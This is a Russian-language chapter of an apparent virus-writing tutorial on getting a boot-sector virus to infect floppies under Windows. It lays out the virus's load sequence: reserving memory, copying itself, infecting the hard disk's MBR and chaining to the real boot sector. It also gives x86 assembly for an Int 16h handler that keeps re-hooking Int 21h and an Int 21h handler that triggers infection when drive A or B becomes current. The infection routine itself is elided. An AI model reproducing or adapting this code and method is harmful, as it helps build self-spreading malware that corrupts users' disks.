Общий алгоритм работы вируса
О применении вектора Int 16h
О перехвате Int 21h программой, загружаемой из Master Boot Record
Разрабатываем новый алгоритм активизации
Объясняем полученные результаты
С целью найти причины описанного явления я провел не один десяток экспериментов, и наконец, получил некоторые результаты.Как вы помните, наш вирус сидит на Int 13h. Таким образом, он получит управление только при вызове этого прерывания. Оказалось, что при записи или чтении дискет при работе в WINDOWS Int 13h вообще не вызывается. Вместо этого операционная система обращается к диску "мимо" прерывания, взаимодействуя непосредственно с контроллером гибких дисков.Поэтому наш вирус и не заражает дискеты.
Следует заметить, что при работе с жестким диском WINDOWS все же вызывает Int 13h, что следует из проведенных автором экспериментов.
Таким образом, с помощью старых методов эту задачу решить, скорее всего, не удастся. Необходим совершенно новый подход. Но об этом - в следующем пункте.
Легче всего сказать, что подход должен быть новым. Труднее предложить что - то по существу. Были придуманы несколько методик, но все они не дали положительного результата. И тут автор неожиданно получил очень своеобразное предложение - вместо Int 13h использовать для активизации вируса Int 21h. В самом деле, почему бы нам не перехватить Int 21h, и не попробовать проследить за сменой текущего диска (функция 0Eh). И как только активным станет дисковод "A" или "B", заразить диск в этом дисководе!!! Просто и со вкусом (идея Danny Dio, за что ему - благодарность). А мы продолжаем.
Дело за малым - осталось перехватить Int 21h, и задача решена. Но выяснилось, что это не так просто. Естественно было бы поступить так:
- Первым делом установить вектор Int 1Ch или Int 08h ( оба - таймер ) на собственный обработчик.
- Этот обработчик следит за вектором Int 21h, и как только последний изменяется - перехватывает Int 21h.
- Далее обработчик Int 1Ch (Int 08h) "обезвреживает" себя в памяти, например, командой "IRET", чтобы машина не зависала.
Так и было сделано, после чего началось самое интересное. Обработчик Int 21h исправно выполнялся несколько секунд, после чего его бессовестно топили - то ли MSDOS.SYS, то ли COMMAND.COM - не важно. Чтобы избавиться от этого эффекта, я придумал кучу способов - например, ждал не первого изменения вектора Int 21h, а, например, третьего, десятого и т.п. Как ни странно, ничего не получалось. Единственным методом был бы такой:
- Отловить момент, когда OC уже загружена и начинают выполняться программы, записанные, например, в AUTOEXEC.BAT.
- Перехватить Int 21h.
Проблема здесь в следующем: совершенно неясно, как именно засечь этот замечательный момент. Кроме того,такой метод тоже не дает стопроцентной гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить алгоритм, который обсуждается в следующем пункте.
Как вы, наверное, знаете, прерывание Int 16h является программным и вызывается, например, системным обработчиком Int 09h (клавиатура), а также может вызываться из программы для выполнения некоторых действий,например, чтения символа с клавиатуры, получения ее флагов и т.п. При этом оно обладает одним замечательным свойством, а именно - пользовательский обработчик Int 16h не утапливается WINDOWS при загрузке, и вызывается даже в WORDе, EXCELе и FARе. Так, в проведенном автором эксперименте, при нажатии двух SHIFTов загрузочный сектор дискеты считывался и тут же записывался на место. Опытная программа загружалась из MBR и работала в любых WINDOWS - приложениях. Этот факт решено было использовать для построения "непотопляемой" процедуры обработки Int 21h. Итак, предлагаю такой алгоритм:
- Установить вектор Int 16h на вирусный обработчик.
- Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой - нибудь экзотической собственной функцией, типа AX = 0BABCh.
- Если вирусная процедура обработки Int 21h активна, она должна " ответить " на этот вызов (пусть это будет AL = 98h). Если ответа нет, обработчик Int 21h не установлен или утоплен, поэтому Int 21h следует перехватить.
Не совсем просто, но тоже со вкусом. Сами процедуры обработки Int 16h и Int 21h могут быть, например, такими:
Текст обработчика Int 16h:
new_16h: push ax ;Сохраним push bx ;регистры push dx ;в push ds ;стеке push es ; pushf ; ; mov ax,0babch ;Вызовем вирусный int 21h ;обработчик cmp al,98h ;Int 21h собст- je cs:rrr_rrr ;венной функцией ;AX = 0babch.Если ;обработчик акти- ;вен, мы должны ;получить AL=98h, ;иначе Int 21h ;следует перехва- ;тить, чем мы и ;займемся: push cs ;DS = CS pop ds ; ; cli ;Запретить преры- ;вания mov ax,3521h ;Получим и сохра- int 21h ;ним вектор mov old_21h - 100h,bx ;Int 21h mov old_21h_2 - 100h,es; ; mov ax,2521h ;А теперь пере- mov dx,to_new_21h ;ставим этот век- int 21h ;тор на вирусный ;обработчик sti ;Разрешить преры- ;вания rrr_rrr: popf ;Восстановим pop es ;из pop ds ;стека pop dx ;регистры pop bx ; pop ax ; ; db 0eah ;И перейдем на old_16h dw 0 ;системный обра- old_16h_2 dw 0 ;ботчик Int 16hТекст обработчика Int 21h (он отслеживает смену оператором текущего диска. Если текущим становится диск "A" или "B", обработчик заражает этот диск):
new_21h: pushf ;Этот участок cmp ax,0babch ;обработчика jne cs:else_func ;Int 21h отвечает mov al,98h ;обработчику popf ;Int 16h значени- iret ;ем AL = 98h; это ;служит признаком ;активности виру- ;сной процедуры ;обработки ;Int 21h ; else_func: popf ;Сохраним push ax ;регистры push bx ;в push cx ;стеке push dx ; push di ; push ds ; push es ; pushf ; ; cmp ah,0eh ;Смена текущего ;диска ? jne cs:restore_regs ;Нет - на выход cmp dl,1 ;Да - текущим ;хотят сделать ;" A " или " B " ;дисковод ? ja cs:restore_regs ;Нет - на выход ;Иначе - продол- ;жим : ;Далее следует " заразная " часть процедуры обра- ;ботки Int 21h : ; ... ; ... ; ... ; ... ; ... restore_regs: ;Восстановим из popf ;стека регистры pop es ; pop ds ; pop di ; pop dx ; pop cx ; pop bx ; pop ax ; ; db 0eah ;И перейдем на old_21h dw 0 ;системный обра- old_21h_2 dw 0 ;ботчик Int 21hВроде бы, все должно быть ясно. Причина, по которой от относительных адресов ячеек памяти отнимается 100h, описана в части 1, главе 2, пункте 2.5.
Кстати, использовать в данном случае Int 09h вместо Int 16h нельзя. Дело в том, что при загрузке WINDOWS топит все пользовательские программы, которые "зацеплены" за этот вектор. Топится даже великий и могучий KEYRUS.COM,не говоря уже о наших вирусах.
Теперь настало время создать алгоритм работы нашего вируса, чем мы и займемся. Как и прежде, попав при начальной загрузке машины в память по адресу 0000:7C00h, вирус должен выполнить такие действия:
- Установить регистры SS и SP на собственный стек
- "Отрезать" у системы несколько килобайтов памяти (вы уже догадываетесь, что "несколько" - это два?).
- Переписать свой код в полученную область памяти
- Передать управление следующей секции своего кода, уже расположенной в конце основной памяти.
Эта секция, в свою очередь, должна:
- Переопределить вектор прерывания Int 16h на вирусный код.
- Считать настоящий загрузочный сектор в память по адресу 0000:7C00h.
- Проверить, заражен - ли винчестер. Если нет, то заразить его MBR.
- Передать управление настоящему загрузочному сектору, находящемуся по адресу 0000:7C00h.
Далее выполняется загрузка операционной системы. Вирусный обработчик Int 16h,как было сказано выше, следит за состоянием обработчика Int 21h, и перехватывает это прерывание,если по какой - либо причине вирусная процедура обработки Int 21h не активна. Алгоритм его работы подробно описан в предыдущем пункте.
Как вы уже знаете," заразные " функции мы возложим на обработчик прерывания Int 21h. О том, как это будет реализовано, тоже было рассказано выше.